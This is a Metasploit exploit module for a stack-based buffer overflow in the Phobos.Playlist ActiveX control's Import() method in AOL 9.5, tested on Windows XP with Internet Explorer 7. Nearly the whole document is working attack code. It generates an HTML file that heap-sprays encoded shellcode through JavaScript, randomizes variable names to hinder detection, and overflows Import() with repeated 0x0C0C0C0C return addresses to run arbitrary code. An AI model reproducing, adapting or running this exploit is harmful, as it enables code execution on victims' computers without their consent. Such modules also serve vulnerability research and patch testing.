AOL 9.5 – Phobos.Playlist ‘Import()’ Remote Buffer Overflow (Metasploit)
## # aol_phobos_bof.rb # # AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework # # Tested successfully on the following platforms: # - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3 # # Phobos.dll version tested: # File Version: 9.5.0.1 # ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C # RegKey Safe for Script: False # RegKey Safe for Init: False # Implements IObjectSafety: False # KillBitSet: False # # Due to the safe for initialization and safe for scripting settings of this ActiveX control, # exploitation is possible only from Local Machine Zone, which means the victim must run the # generated exploit file locally. # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5. By setting an overly long value to 'Import()', an attacker can overrun a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ], 'Version' => '$Revision:$', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/11204' ], [ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ] ], 'DisclosureDate' => 'Jan 20 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), ], self.class) end def exploit # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 fillto = 500 offset = target['Offset'] # Randomize the javascript variable names phobos = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_bla = rand_text_alpha(rand(8) + 4) html = %Q|<html> <object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object> <script> #{j_shellcode}=unescape('#{shellcode}'); #{j_nops}=unescape('#{nops}'); #{j_headersize}=20; #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length; while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops}; #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace}); #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace}); while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock}; #{j_memory}=new Array(); for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode}; var #{j_ret}=''; for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}'); #{phobos}.Import(#{j_ret},'#{j_bla}','True','True'); </script> </html>| print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(html) end end |